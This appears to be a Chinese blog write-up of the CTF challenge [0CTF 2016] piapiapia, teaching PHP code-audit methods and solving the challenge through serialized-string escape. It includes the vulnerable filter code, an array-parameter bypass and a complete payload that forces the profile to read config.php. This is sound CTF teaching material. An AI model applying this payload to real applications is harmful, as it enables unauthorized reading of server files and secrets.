matlab table中的文字转string_【代码审计】CTF中的代码审计题目应对策略(一)

作者:kee1ongz

I.前言

​ 目前,CTF赛事中关于代码审计的题目,已经从一开始的简单函数trick、逻辑绕过逐渐向框架分析、0day改编甚至新出0day(2020WMCTF)过渡。这类题目具有文件多,代码量大复杂的特点,难以下手。以PHP为例,Thinkphp,Laravel,typecho等框架/CMS(甚至包括一些运维工具,例如WMCTF中涉及到了宝塔)都已经沦为出题点。

实际上,如果单看题目考察的知识点,一般都不是很难。解不出来的原因,通常为:无法准确定位触发点/看不太懂/代码量太大劝退。本文以初学者的角度,通过一道审计类CTF题目,来谈一谈如何上手审计类题目/顺带复习反序列化的trick。

II.例题:[0CTF 2016]piapiapia

先来看一下题目。一个登录界面,尝试SQL注入,无果。

104f2240732be9451d02de86663def8b.png

通过扫目录工具(dirsearch/御剑)等,发现www.zip。存在源码泄露。解压后如下:

a5415e6d13d44e67eb9d83d201608c0b.png

这里基本可以确定是一道审计题目了。

P1:确定入口点:利用审计工具

这里用vscode打开该文件夹,再来看一下目录结构:

110a2c7c459143a036c929e475a0616c.png

如果是学过PHP开发的同学可能很熟悉这种布局:全局config+class,其他页面调用。

首先说一下,代码审计的几个入手点(刚学没几天,不全面勿喷):

1.找到入口点,逐个突破
顾名思义,对于大多数页面,我们可以找到站点入口页面:index.php,admin.php,login.php等。逐一步进来分析。对于代码量小的源码可以采取这种方式。但当分析完整的框架/CMS时,基本可以gg。
2.危险函数/参数回溯法
最常用的审计(挖洞)方法。需要结合一些工具(例如:Xdebug+各类IDE)。通过部署环境——全局通扫危险函数/敏感参数——下断点/手动回溯——寻找是否存在利用链。这种方法可以快速定位潜在漏洞点上下文。
假如我们通扫到shell_exec,call_user_function,sql_query,eval这些喜闻乐见的函数,就可以定位到此处,然后回溯来推出是否存在利用链。
3.业务逻辑分析法
其实在做CTF的题目时候,我们都在使用这种方法。
存在登录框:是否存在SQL注入
存在登录/注册功能:是否存在二次注入
存在上传页面:是否存在上传
存在传URL参:是否存在SSRF
……
对于大的CMS,可以先部署完后,看一下存在什么功能。某些功能是漏洞的常客:初始安装(脱库),数据库备份(mysql重装getshell),密码找回(越权)等等。

P1.1 关注敏感页面

其实这类页面一般都是配置页面:config.php,conn.php,sql.php一类的。

我们关注一下config.php,发现存在变量$flag.

98dc6a2a4faf6591f6bee8e2f1ec185e.png

那么这道题的最终目的就是读到config.php。从而获得flag。

P1.2 寻找敏感函数/参数

这里简单看一下各个页面的代码。发现其实是纸老虎:最多的class.php也不过100行。其他的页面包括前端也就60,70行。

对于这种多页面/各个页面代码量较少的源码,在比赛这种追求效率的场景,不要多想。直接上工具。实际上我们的思路就是上述提到的方法中的第二条,通过审计工具通扫源码——找到潜在漏洞点——回溯上下文,寻找利用链。

这里使用Seay 2.1,虽然好久不更新了,不过依旧是初级代码审计的神器。自动审计一下,结果如下:

01cbe07d15fd145312a85a6c13aff9ff.png

注意一下本题的最终目的:读取config.php。这正好与第三条的描述不谋而合:

88b09155281d94952716b1dfce647547.png

那么我们就可以认为此处是潜在漏洞点,下面开始回溯。

P2 回溯——推出利用链

P2.1 利用链终点——profile.php

根据审计结果,在源码中定位到对应位置:

136e4eaec12243c74ec36723383182d3.png

可以看一下这一段的逻辑:

根据登录的用户名去执行class.php中的show_profile函数,得到序列化数组$profile
--->
$profile经过一次反序列化
--->
成为了键值数组
--->
读取该数组,根据键名给对应变量赋值

这里先来看一下class.php的show_profile函数,分析请见注释:

<?php
require('config.php');

class user extends mysql{ //该类继承于mysql类(在下面)
    private $table = 'users';
    public function show_profile($username) { //接受参数:用户名
        $username = parent::filter($username); 
        //首先调用父类(mysql)中的filter过滤一哈
        $where = "username = '$username'";
        //拼接成SQL参数,调用mysql类中的select函数,并将结果(为数组形式)中的profile键取出作为返回值。
        $object = parent::select($this->table, $where);
        return $object->profile;
    }
    public function update_profile($username, $new_profile) {
        $username = parent::filter($username);
        $new_profile = parent::filter($new_profile);

        $where = "username = '$username'";
        return parent::update($this->table, 'profile', $new_profile, $where);
    }
    public function __tostring() {
        return __class__;
    }
}

class mysql {  //user的父类
    private $link = null;
        ......
    public function select($table, $where, $ret = '*') { //查库函数
        $sql = "SELECT $ret FROM $table WHERE $where";
        $result = mysql_query($sql, $this->link);
        return mysql_fetch_object($result);//将查询结果作为键值数组返回
    }

    public function filter($string) { //过滤函数,后面详细说明。本题关键
        $escape = array(''', '');
        $escape = '/' . implode('|', $escape) . '/';
        $string = preg_replace($escape, '_', $string);

        $safe = array('select', 'insert', 'update', 'delete', 'where');
        $safe = '/' . implode('|', $safe) . '/i';
        return preg_replace($safe, 'hacker', $string);
    }
    public function __tostring() {
        return __class__;
    }
}

先不管class.php。我们根据上述分析,得到最关键的信息是:

$profile的photo键值会被当做文件名由file_get_contents读取,然后经过base64转码输出

这就是利用链的终点。

P2.2 关键页面——update.php

那么继续回推,序列化的$profile在哪里可以得到呢?

我这里的思路是,全局搜索序列化函数的关键字serialize,来找到哪里发生了序列化操作:

f35870bf6d0b57efcdf51f72f249ed18.png

除去$profile.php以外,发现update.php中存在序列化函数:

aa506f5a04236aee5eac6d2ac73ddf02.png

这里结合整个update.php页面来说下逻辑:

1.该页面可以修改用户的phone,email,nickname与photo

c8f2a95086c8d4a0e93eaeb18cf6117b.png

2.会对传过来的参数经过一系列过滤,之后将其序列化。将其与用户名$username作为class.phpupdate_profile的参数传入,之后跳转到profile.php:

387510978dae25e750101bc307d2d788.png

3.同样,来看一下update_profile函数

public function update_profile($username, $new_profile) { 
        $username = parent::filter($username); //过滤
        $new_profile = parent::filter($new_profile); //过滤

        $where = "username = '$username'";
        return parent::update($this->table, 'profile', $new_profile, $where);
    }//调用update函数

//mysql类
public function update($table, $key, $value, $where) {
        $sql = "UPDATE $table SET $key = '$value' WHERE $where";
        return mysql_query($sql);//很简单的逻辑,正常传参执行sql语句
    }

    public function filter($string) { //过滤函数
        $escape = array(''', '');
        $escape = '/' . implode('|', $escape) . '/';
        $string = preg_replace($escape, '_', $string);

        $safe = array('select', 'insert', 'update', 'delete', 'where');
        $safe = '/' . implode('|', $safe) . '/i';
        return preg_replace($safe, 'hacker', $string);
    }

看来构造序列化的关键就在update.php页面了。

但由上可知,在此之前,我们首先得是一个用户。那么register.phpindex.php的作用就不言而喻了。分别是注册页面和登录页面,注册登陆后我们才可以访问profile.php:

c969ba1d59c3ac4b499e209164c16375.png

a2653f6404c56849fb3a74d9cad7aeb3.png

到此为止,我们算是理清了整个网站的逻辑:

注册:register.php
---->
登录:index.php
----->
修改个人资料:update.php
----->
展示个人资料:profile.php

而且发现了一条潜在的利用链:

注册登录后,访问update.php 
--->
使得photo的内容变为config.php
--->
经profile.php中的反序列化,文件读取获得flag

当然,这条链上还要解决很多问题。

不过目前为止,我们的初步审计可以算是告一段落了。

P3 分析&求解

先来梳理一下当前的存在的几个困难:

P3.1 $profile['photo']不可控

update.php中可以发现,photo键值将上传的图片名进行一次MD5,然后拼接。

$profile['photo'] = 'upload/' . md5($file['name']);

看上去想把这个改成config.php直接GG了,这个就是本题的考点了——反序列化逃逸,难度并不大。

算是很经典的考点。详细可以参考之前的两篇WP:[安洵杯 2019]easy_serialize_php和安恒月赛[DASCTF安恒月赛]Web1-反序列化字符串逃逸。(题外话:目前图壳由于某些原因正在被安排,图片暂时无法显示,烦人,还不知道能不能恢复。)

原理就一句话: PHP 在反序列化时,是以 ; 作为字段的分隔,以 } 作为结尾(字符串除外),且根据长度判断内容。

虽然photo控制不了,但是name,email和nickname我们都是可控的。其中nickname作为photo键的前一个键,便是构造逃逸的入手点。

P3.2 对于nickname的过滤

298770811ed05f794901d1d2773ca1ae.png

然而页面对我们输入的还是存在一些过滤限制的。注意看photo键值前面的nickname键值,他的逻辑判断很有意思:长度>10或由大小写字母和数字构成就会直接die掉。

这个过滤方法也是老trick了。传一个数组参数即可通杀。即nickname[];

P3.3 由filter函数引发的逃逸

本题最为精彩的地方就在这里。

前面提到,在update的时候,会调用class.php中的过滤函数

$new_profile = parent::filter($new_profile); //过滤

//mysql类
public function filter($string) { //过滤函数
        $escape = array(''', '');
        $escape = '/' . implode('|', $escape) . '/';
        $string = preg_replace($escape, '_', $string);

        $safe = array('select', 'insert', 'update', 'delete', 'where');
        $safe = '/' . implode('|', $safe) . '/i';
        return preg_replace($safe, 'hacker', $string);
    }

第一个逻辑会把反斜杠替换为_,第二个逻辑会把关键字替换成hacker。因为$new_profile是经过序列化后才过滤的,这就会引起长度的变化

来模拟一下这个逻辑,这里已经给nickname变为数组。

<?php
$profile['phone'] = '1234567789';
$profile['email'] = 'hjnb@126.com';
$profile['nickname'][] = 'where';
$profile['photo'] = 'upload/' . md5('hello.png');
echo serialize($profile);

没有经过filter的时候,结果如下:

a:4:{s:5:"phone";s:10:"1234567789";s:5:"email";s:12:"hjnb@126.com";s:8:"nickname";a:1:{i:0;s:5:"where";}s:5:"photo";s:39:"upload/69b1510906ccacbb9363690cbb4bd257";}

现在加上过滤函数,

<?php
$profile['phone'] = '1234567789';
$profile['email'] = 'hjnb@126.com';
$profile['nickname'][] = 'where';
$profile['photo'] = 'upload/' . md5('hello.png');
//echo serialize($profile);
echo filter(serialize($profile));


 function filter($string) {
        $escape = array(''', '');
        $escape = '/' . implode('|', $escape) . '/';
        $string = preg_replace($escape, '_', $string);

        $safe = array('select', 'insert', 'update', 'delete', 'where');
        $safe = '/' . implode('|', $safe) . '/i';
        return preg_replace($safe, 'hacker', $string);
    }

结果如下:

a:4:{s:5:"phone";s:10:"1234567789";s:5:"email";s:12:"hjnb@126.com";s:8:"nickname";a:1:{i:0;s:5:"hacker";}s:5:"photo";s:39:"upload/69b1510906ccacbb9363690cbb4bd257";}

这里就与之前的序列化结果有一些微妙的不同了,可以看到nickname中的where被替换成了hacker。但是序列化数组中显示的长度仍为5

s:5:"hacker"

这就给逃逸制造了可能。

先来看看逃逸成功的序列化字符串:

a:4:{s:5:"phone";s:10:"1234567789";s:5:"email";s:12:"hjnb@126.com";s:8:"nickname";a:1:{i:0;s:5:"hjznb";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/69b1510906ccacbb9363690cbb4bd257";}

对于该字符串,序列化部分在s:10:"config.php";}";}就结束了。后续的都被抛弃。验证如下,可以看到photo键值已经变成了config.php:

f3e566856369c27a9ef301cca0ac80cb.png

如何实现这个序列化字符串呢?换句话说,如何让";}s:5:"photo";s:10:"config.php";}不是nickname的键值呢?

这就用到了上面的filter函数。它可以在不改变键值长度的基础上扩大原本键值的长度。

(where ---> hacker,长度+1)

";}s:5:"photo";s:10:"config.php";}的长度为34

c2581ea9b3d566e3cbe725b3e778bd26.png

那么我们只需要34个where即可逃逸成功,如下图所示。因为键值的长度(小红圈部分)没有发生改变。而经过filter后,原键值的长度+了34。那么再经过反序列化的时候,就会取最先的204个字符(也就是34个hacker)作为键值。而后面34个字符(也就是;}s:5:"photo";s:10:"config.php";})则逃逸成功,不作为nickname键值的一部分。

这34个字符,最开始的;}闭合了nickname键,后面的s:5:"photo";s:10:"config.php";}被当作photo键解析并闭合(大红圈部分)。原有的photo的键则因为闭合而被直接无视。

这样就成功使得photo键值变为了config.php.

12aa851dbac6002e05b76a63b869e022.png

至此,这道题目的难点已经算是拿下了。下面就是实践得解了。

P3.4 解题步骤

首先访问register.php,来注册一个账号:

5bf7dd74288ee1594a11eb532a1b44d6.png

之后登录,定位到了update.php页面:

15672e709470178cdcf88e0830be90ff.png

按规则填写后,抓个包:

0e18170f7dc13adc9d48ebe44deda144.png

将POST的变量名nickname改成数组形式:nickname[],并将上面的payload作为参数传入:

nickname[]

wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

b6ceee8ba4b6ca77bdafbd25a99dd171.png

修改后直接Forward包,提示我们上传成功:

8f31e4f9b867dd5813dd9dce7f775e60.png

点击链接来到profile.php。F12看源码,将img标签中的base64解码:

cf25bf526c0e5c73ff55bf8857abc4ad.png

即可成功读取config.php,拿到flag:

b9720ceddcff41e3e67f38b87ee1a1d7.png

III.总结

审计相关:
代码审计的几种思路?
代码审计所需要的一些工具?
如何定位潜在漏洞点?
如何利用回溯推出利用链?

题目考点相关:
什么是序列化字符逃逸?
序列化字符逃逸的bypass思路一般是什么?
如何构造逃逸bypass姿势?
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值